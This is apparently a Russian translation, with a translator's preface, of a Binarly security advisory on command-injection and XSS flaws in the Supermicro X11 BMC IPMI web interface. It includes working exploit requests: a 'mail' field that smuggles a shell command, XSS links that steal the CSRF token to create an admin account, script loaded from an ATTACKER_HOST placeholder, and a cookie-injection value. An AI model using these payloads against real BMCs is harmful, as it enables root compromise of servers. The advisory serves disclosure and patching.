Команда Binarly REsearch обнаружила множество уязвимостей в компоненте прошивки Supermicro IPMI, разработанном ATEN. Команда провела исследование уязвимостей веб-интерфейса BMC IPMI серверов Supermicro линейки X11, результат печальный, для нас — администраторов. Снова нет повода не обновиться.
Всего было найдено три группы уязвимостей, на мой взгляд, не сильно печальных. Первая уязвимость внедрения команд в серверную часть BMC требует административного доступа. Ну если злоумышленник получил пароль администратора, то он и прошивку может поменять, так что тут сомнительны такие высокие баллы. Скорее эта уязвимость опасна в совокупности с другими уязвимостями, к тому же она очень легко эксплуатируется, при наличие доступа.
Вторая и третья группа уязвимостей — это классический XSS, здесь есть опасность целевой атаки на конкретного системного администратора, чтобы вынудить его открыть вредоносную ссылку. Здесь ещё требуется попасть в тот узкий промежуток времени, когда админ уже залогинился в BMC, но его ещё не выкинуло по таймауту. Но уж если такая атака удастся, то, в совокупности с первой уязвимостью, злоумышленник получит полный доступ к BMC, а значит и к серверу.
Не отключайте автоматический выход из IPMI по таймауту.
Подробности ниже.
Перевод статьи
Уязвимости могут быть использованы удаленными злоумышленниками, не прошедшими проверку подлинности, и могут привести к получению root системы BMC.
Baseboard Management Controllers (BMC) — еще один вектор удаленных атак, часто используемый злоумышленниками для взлома сетей предприятий или центров обработки данных. Подобные сценарии атак обсуждались исследователями безопасности, использовались красными командами и злоумышленниками на протяжении многих лет. К сожалению, по выводам команды Binarly REsearch, состояние безопасности BMC на серверах Supermicro показывает уровень безопасности продуктов начала 2000-х и не соответствует современным стандартам безопасности. Атаки, которые мы раскрываем, демонстрируют очень низкую сложность компрометации операционной системы хоста BMC и получения достаточных привилегий для установки постоянной прошивки в UEFI BIOS.
Baseboard Management Controllers (BMC) — то специальные микросхемы, расположенные на материнской плате серверов, которые широко используются для удаленного управления. С помощью чипов BMC вы можете отслеживать показатели оборудования, такие как температура, устанавливать скорость вращения вентилятора и даже прошивать системную прошивку UEFI целевого сервера. Интересный факт: BMC работает, даже если операционная система хоста выключена. Эти мощные возможности делают эти устройства привлекательными целями, поскольку, получив доступ к BMC, вы обычно получаете доступ ко всему серверу, а в некоторых случаях даже ко всему центру обработки данных. Учитывая серьезность проблемы, АНБ и CISA недавно выпустили практическое руководство с четкими шагами по усилению защиты систем BMC.
Ещё в 2013 году многочисленные уязвимости, связанные с прошивкой Supermicro IPMI, были публично задокументированы и исправлены. Спустя 10 лет команда Binarly REsearch решила провести расследование, чтобы увидеть, как изменилась ситуация.
Для данного исследования мы взяли прошивку для Supermicro X11 версии 1.66. В результате всего было обнаружено 7 уязвимостей, по оценкам Binarly, 4 из них имеют критическую степень серьезности и еще 3 — высокую степень серьезности. (Подробную информацию о патче см. в рекомендациях Supermicro.)
BRLY ID | Тип | CVE ID | CVSS score | CWE |
BRLY-2023-001 | Уязвимость внедрения команд в серверную часть BMC | CVE-2023-40289 | 9.1 (Critical) | CWE-78: Неправильная нейтрализация специальных элементов, используемых в команде ОС. |
BRLY-2023-007 BRLY-2023-008 BRLY-2023-009 BRLY-2023-010 BRLY-2023-011 BRLY-2023-012 |
Уязвимость межсайтового скриптинга во внешнем интерфейсе сервера BMC | CVE-2023-40284 CVE-2023-40287 CVE-2023-40288 CVE-2023-40290 CVE-2023-40285 CVE-2023-40286 |
9.6 (Critical) 9.6 (Critical) 9.6 (Critical) 8.3 (High) 8.6 (High) 8.6 (High) |
CWE-79: Неправильная нейтрализация ввода во время создания веб-страницы |
Первая уязвимость (BRLY-2023-001, CVE-2023-40289) является критической, поскольку она позволяет аутентифицированным злоумышленникам получить root-доступ и полностью скомпрометировать систему BMC. Эта привилегия позволяет сделать атаку постоянной, даже когда компонент BMC перезагружен, и распространяться в пределах скомпрометированной инфраструктуры, заражая другие конечные точки.
Три другие уязвимости — BRLY-2023-007 CVE-2023-40284, BRLY-2023-008 CVE-2023-40287 и BRLY-2023-009 CVE-2023-40288 — также оцениваются как критические по оценкам CVSS, поскольку они позволяют удалённым, не прошедшим проверку подлинности злоумышленникам выполнять произвольный JS-код в контексте вошедшего в систему пользователя BMC. В этом случае злоумышленник может создать учетную запись с правами администратора для компонента веб-сервера BMC IPMI. Самое главное — он позволяет эксплуатировать уязвимости, требующие аутентификации, например BRLY-2023-001. Объединив эти уязвимости, несанкционированные удаленные злоумышленники могут получить доступ к root системы BMC.
Три дополнительных ошибки — BRLY-2023-010 CVE-2023-40290, BRLY-2023-011 CVE-2023-40285, BRLY-2023-012 CVE-2023-40286 — также позволяют выполнять произвольный JS-код в браузере жертвы, но требуют дополнительных условий, таких как конкретная версия браузера или наличие уже установленной версии браузера или уже внедрённых значений cookie или элементов локального хранилища.
Эксплуатация уязвимостей
Обычно устройства BMC имеют множество протоколов, которые можно использовать: SH (или SMASH), IPMI, HTTP/HTTPS, SNMP, WSMAN и другие. Поверхность атаки на устройства BMC огромна, но в ходе данного исследования мы решили более внимательно рассмотреть веб-сервер HTTP/HTTPS, поскольку это наиболее доступный и наиболее вероятный метод эксплуатации для злоумышленника. В руководствах АНБ и CISA особо подчеркивается важность изоляции сети BMC от Интернета, но по состоянию на начало октября 2023 года мы наблюдали более 70000 экземпляров веб-интерфейса Supermicro IPMI, которые находятся в публичном доступе:
В такой ситуации потенциальный злоумышленник может использовать следующую схему эксплуатации:
Во-первых, можно удаленно скомпрометировать систему BMC, воспользовавшись уязвимостями в компоненте веб-сервера, доступном через Интернет. Затем злоумышленник может получить доступ к операционной системе сервера с помощью функции удаленного управления BMC iKVM или путем прошивки UEFI целевой системы вредоносной прошивкой, которая обеспечивает постоянный контроль над ОС хоста. Теперь ничто не мешает злоумышленнику перемещаться по локальной сети, ставя под угрозу другие хосты.
Теперь давайте подробно обсудим каждую выявленную уязвимость, которая может быть использована для осуществления атак такого типа.
BRLY-2023-001: уязвимость внедрения команд в прошивке IPMI Supermicro BMC
Supermicro BMC IPMI имеет функцию отправки уведомлений/предупреждений по электронной почте. Пользователи с правами администратора могут настроить эти уведомления с помощью веб-интерфейса через меню Configuration → Alerts и настройки SMTP-сервера Configuration → SMTP. В результате заполнения этих форм на бэкенд отправляются запросы, описанные ниже:
POST /cgi/op.cgi HTTP/1.1
Host: 192.168.0.8
Cookie: SID=pm0Rz8aNwnr3TP3
Csrf_token: 2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io
Content-Length: 110
...
op=config_alert&destination=192.168.0.10&severity=2&mail=admin@binarly.io&sub=test&msg=test&index=0&fun=m&_=
POST /cgi/op.cgi HTTP/1.1
Host: 192.168.0.8
Cookie: SID=pm0Rz8aNwnr3TP3
Csrf_token: 2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io
Content-Length: 127
...
op=config_smtp&auth_en=on&smtpSSL_en=off&smtpaddr=192.168.0.15&smtpport=587&user=test&pwd=test&sender=bmc-alert@binarly.io&_=
На стороне сервера эти значения сохраняются, а затем используются для отправки электронных писем при выполнении условий уведомления/предупреждения. Этот процесс также можно запустить вручную, выбрав созданное оповещение и нажав Send Test Alert кнопку в меню Configuration → Alerts, или напрямую с помощью этого запроса:
POST /cgi/op.cgi HTTP/1.1
Host: 192.168.0.8
Cookie: SID=pm0Rz8aNwnr3TP3
Csrf_token: 2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io
Content-Length: 29
...
op=send_test_alert&index=0&_=
В результате выполняется код, расположенный по смещению 0x7F648 в двоичном файле libipmi.so.
Во-первых, команда оболочки создается с использованием жёстко закодированных значений msmtp_path и msg_path, а также других переменных, которые представляют собой параметры, управляемые пользователем, предоставляемые посредством ранее упомянутых запросов. Результат будет зависеть от того, указал ли пользователь имя пользователя и пароль для SMTP-сервера или нет. Затем эта команда будет выведена на консоль и передана функции do_popen, где она будет выполнена с использованием glibc popen. Предоставляемые пользователем значения smtpaddr, port, user, pwd и sender, используемые при построении команд оболочки, проверяются на входные данные на стороне сервера, что предотвращает внедрение команд. Но параметр mail не проверяется должным образом, поэтому возможна эксплуатация с помощью запроса:
POST /cgi/op.cgi HTTP/1.1
Host: 192.168.0.8
Cookie: SID=pm0Rz8aNwnr3TP3
Csrf_token: 2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io
Content-Length: 138
...
op=config_alert&destination=192.168.0.10&severity=2&mail=admin@binarly.io;echo%20BRLY%20>/tmp/poc;cat&sub=test&msg=test&index=0&fun=m&_=
В конечном итоге эта команда будет выполнена:
/bin/msmtp --host=192.168.0.15 --port=587 --timeout=10 --auth=login --user=test --passwordeval='echo test' --from=bmc-alert@binarly.io admin@binarly.io;echo BRLY >/tmp/poc;cat < /tmp/pef.txt 2>&1
Стоит отметить, что эта команда будет выполнена от пользователя root. Это одна из основных проблем BMC и других устройств IoT и xIoT, которые обычно используют root для запуска всех компонентов системы.
Эта уязвимость была устранена путем добавления в функцию дополнительной проверки параметра почты в функции cgilib_config_alert на наличие недопустимых символов (&;`'\"|*?~<>^()[]{}$\n\r \) в EscapeShellCmd функции, а затем сопоставление адреса электронной почты с определённым регулярным выражением:
Интересный факт: тот же фиксированный шаблон кода существует в прошивке другого продукта Supermicro (X11 с чипом AST2500). Согласно метаинформации, он был скомпилирован 27.10.2022, более чем за 6 месяцев до того, как о BRLY-2023-001 сообщили команде Supermicro PSIRT. Это ещё раз демонстрирует сложность экосистемы цепочки поставок.
Расчет оценки серьезности CVSS для BRLY-2023-001 отличается (изменена область действия) от команды Supermicro PSIRT из-за того, что веб-интерфейс BMC позволяет пользователю контролировать только ОС целевого сервера, а не саму ОС BMC. Даже пользователь с административным доступом к веб-интерфейсу не может управлять системой BMC.
Однако эксплуатация этой уязвимости обеспечивает полный доступ к ОС BMC, регулируемой другой областью авторизации, и, как следствие, позволяет выполнять произвольный код от имени пользователя root, манипулировать доступностью системы и т. д.
В результате Binarly рассчитал CVSS — 9,1 Critical, Supermicro PSIRT — 7,2 High.
BRLY-2023-007, BRLY-2023-008, BRLY-2023-009, BRLY-2023-010: отражены уязвимости межсайтового скриптинга в прошивке Supermicro BMC IPMI
Всё это уязвимости межсайтового скриптинга: DOM-based Cross-Site Scripting (XSS), когда в приемник передается ненадёжный пользовательский ввод, такой как innerHTML или eval(). В результате удаленный злоумышленник, не прошедший проверку подлинности, может выдавать себя за пользователя-жертву и выполнять действия от его имени.
Проблемы BRLY-2023-007, BRLY-2023-008 и BRLY-2023-009 очень похожи, с единственной разницей в используемом параметре GET запроса (index, pdomain и port соответственно). Вот код HTML-страницы config_ip_ctrl_change, уязвимой для BRLY-2023-007, где пользовательский ввод передается непосредственно в свойство innerHTML элемента ruleno без какой-либо очистки:
function PageInit()
{
...
index_var = GetVars("index");
...
ruleno_obj = document.getElementById("ruleno");
...
ruleno_obj.innerHTML = index_var;
...
}
function GetVars (str)
{
url = location.search;
var parameterList = url.split ("&");
for (var i = 0; i < parameterList.length; i++) {
parameter = parameterList[i].split ("=");
if (parameter[0] == str) {
return (decodeURIComponent (parameter[1]));
}
}
}
Например, чтобы создать учетную запись администратора с именем пользователя BRLY и паролем BRLYBRLY, используя эту уязвимость, злоумышленник может обманом заставить аутентифицированного пользователя с правами администратора открыть следующую ссылку в веб-браузере:
https://192.168.0.8:443/cgi/url_redirect.cgi?url_name=config_ip_ctrl_change&index=%3Cimg%20src%3d1%20onerror%3d'var csrfRegex%3d/CSRF_TOKEN", "([^"]*?)"/g;var csrfMatch%3dcsrfRegex.exec(document.body.innerHTML);var csrf%3dcsrfMatch[1];fetch("https://192.168.0.8:443/cgi/op.cgi",{method:"POST",headers:{"Csrf_token":csrf},body:"op%3dconfig_user%26username%3dBRLY%26original_username%3d2%26password%3dBRLYBRLY%26new_privilege%3d4%26_%3d"})'%3E
Здесь событие onerror используется для выполнения кода JavaScript, когда браузер пытается загрузить несуществующее изображение. JS-код сначала получает токен CSRF пользователя, а затем использует его для отправки запроса POST, чтобы создать пользователя с правами администратора и учетными данными, определенными злоумышленником.
Разница с BRLY-2023-010 заключается в том, что для её эксплуатации жертве необходимо использовать IE11 или Microsoft Edge в режиме Internet Explorer, поскольку в этом случае вектором атаки является свойство хэша URL, которое можно использовать только в такой среде:
function PageInit() {
...
var param1 = window.location.hash.split("#");
if (param1[1].length != 0) {
var param2 = param1[1].split(",");
if (param2[0].length != 0 && param2[1].length != 0) {
ctrl_idx = param2[0];
max_api_row_size = param2[1];
document.getElementById("devinfo").innerHTML =
"Device" + ctrl_idx + ": Unconfigured good drive";
GetPhysicalHDDInfo(ctrl_idx);
}
} else {
location.href = "../cgi/url_redirect.cgi?url_name=servh_storage";
}
}
Этот код взят с HTML-страницы servh_storage_create, для servh_storage_and он аналогичен.
Чтобы создать учетную запись администратора с именем пользователя BARLEY и паролем BRLYBRLY, злоумышленник может обманом заставить аутентифицированного пользователя с правами администратора открыть следующую ссылку в веб-браузере:
https://192.168.0.8:443/cgi/url_redirect.cgi?url_name=servh_storage_create#<img src=1 onerror='document.write("<script src=\"https://{ATTACKER_HOST}/payload.js\"></script>")'>,2
Где https://{ATTACKER_HOST}/payload.js это адрес размещенного вредоносного JS, например:
var ajaxRequest = new XMLHttpRequest();
var csrfRegex = /CSRF_TOKEN", "([^"]*?)"/g;
ajaxRequest.open("GET", "/cgi/url_redirect.cgi?url_name=topmenu", false);
ajaxRequest.send();
var csrfMatch = csrfRegex.exec(ajaxRequest.responseText);
var csrf = csrfMatch[1];
var params =
"op=config_user&username=BRLY&original_username=2&password=BRLYBRLY&new_privilege=4&_=";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", "/cgi/op.cgi", true);
ajaxRequest.setRequestHeader("Csrf_token", csrf);
ajaxRequest.send(params);
Наши расчеты показателей CVSS для BRLY-2023-007, BRLY-2023-008 и BRLY-2023-009 отличаются (сложность атаки низкая) от расчетов команды Supermicro PSIRT, поскольку мы предполагаем, что злоумышленнику известен IP-адрес веб-сервера BMC. На самом деле его очень легко определить, потому что во многих случаях он доступен в Интернете, согласно результатам сканирования Shodan. Мы также предполагаем, что злоумышленник знает адрес электронной почты администратора для отправки фишингового письма (это всего лишь пример, существует множество других способов обманом заставить пользователя открыть вредоносную ссылку). В таком случае злоумышленник может рассчитывать на повторный успех, поскольку нет никаких специальных условий для предотвращения этой атаки. Требуемые действия от пользователя уже учитываются в метрике "Взаимодействие с пользователем". Этот факт делает сложность атаки низкой.
В результате Binarly рассчитали CVSS — 9,6 Critical, Supermicro PSIRT — 8,3 High.
BRLY-2023-011, BRLY-2023-012: Сохраненные уязвимости межсайтового скриптинга в прошивке Supermicro BMC IPMI
Этот класс XSS позволяет злоумышленнику выполнять вредоносный код каждый раз, когда запускается определенное действие, например, когда пользователь обновляет страницу или использует определенные функциональные возможности. В случае с BRLY-2023-011 следующий уязвимый код был размещен на нескольких HTML-страницах:
lang_setting = ReadCookie("language");
if (lang_setting == null) {
CreateCookie("langSetFlag", "0");
CreateCookie("language", "English");
lang_setting = "English";
}
document.write(
'<script type="text/javascript", src = "../js/lang/' +
lang_setting +
'/lang_str.js"></script>'
);
Здесь значение cookie language передается в переменную lang_setting, которая затем используется для создания кода JavaScript, который будет включен в страницу с помощью функции document.write() без какой-либо очистки.
Для эксплуатации этого злоумышленник может внедрить в cookie language сеанса аутентифицированного пользователя с правами администратора следующее значение:
language=English/lang_str.js"></script><script src="https://{ATTACKER_HOST}/payload.js"></script><script src="
Для BRLY-2023-012 вектором атаки является элемент lang локального хранилища. Это код из скрипта nav_ui.js, загруженного веб-страницами man_ikvm_html5_bootstrap и man_ikvm_html5_bootstrap_vm:
...
var sel = WebUtil.readSetting("lang", "en");
...
change_ui_lang(sel);
...
WebUtil.readSetting = function (name, defaultValue) {
"use strict";
var value;
if (window.chrome && window.chrome.storage) {
value = WebUtil.settings[name];
} else {
value = localStorage.getItem(name);
}
if (typeof value === "undefined") {
value = null;
}
if (value === null && typeof defaultValue !== undefined) {
return defaultValue;
} else {
return value;
}
};
function change_ui_lang(v) {
...
var lang = eval(v + "_lang");
...
Проблема здесь в том, что значение lang элемента локального хранилища передается непосредственно в eval() функцию JavaScript.
Эксплуатация BRLY-2023-011 и BRLY-2023-012 требует некоторого начального доступа, который может быть достигнут путем использования ранее упомянутых уязвимостей межсайтового скриптинга. Преимущество здесь заключается в том, что сохраненные уязвимости XSS делают эту атаку постоянной. Чтобы прекратить использование, требуются дополнительные шаги по очистке значения cookie/локального хранилища.
Наш расчет оценки CVSS для BRLY-2023-011 и BRLY-2023-012 отличается (вектор атаки: локальный, сложность атаки: низкая) от команды Supermicro PSIRT, поскольку для чтения/изменения пользовательских файлов cookie/элементов локального хранилища требуется уже полученный доступ. И в этом случае сложность такой атаки невелика, поскольку никакие обстоятельства не препятствуют успешной эксплуатации в определенных конфигурациях.
В результате Binarly рассчитали CVSS — 8,6 High, Supermicro PSIRT — 8,3 High.
Baseboard Management Controllers (BMCs) — это мощные системы, безопасность которых имеет высокий приоритет, учитывая уровень их возможностей. К сожалению, как это обычно бывает в процессе раскрытия информации, вендор попытался уменьшить конечное влияние задокументированных уязвимостей. Мы считаем, что это крайне неправильной позицией, поскольку конечные пользователи будут иметь неверную информацию при оценке серьезности того или иного обновления. Мы рекомендуем системным администраторам поддерживать свои системы BMC в актуальном состоянии и следовать рекомендациям NSA и CISA по усилению защиты.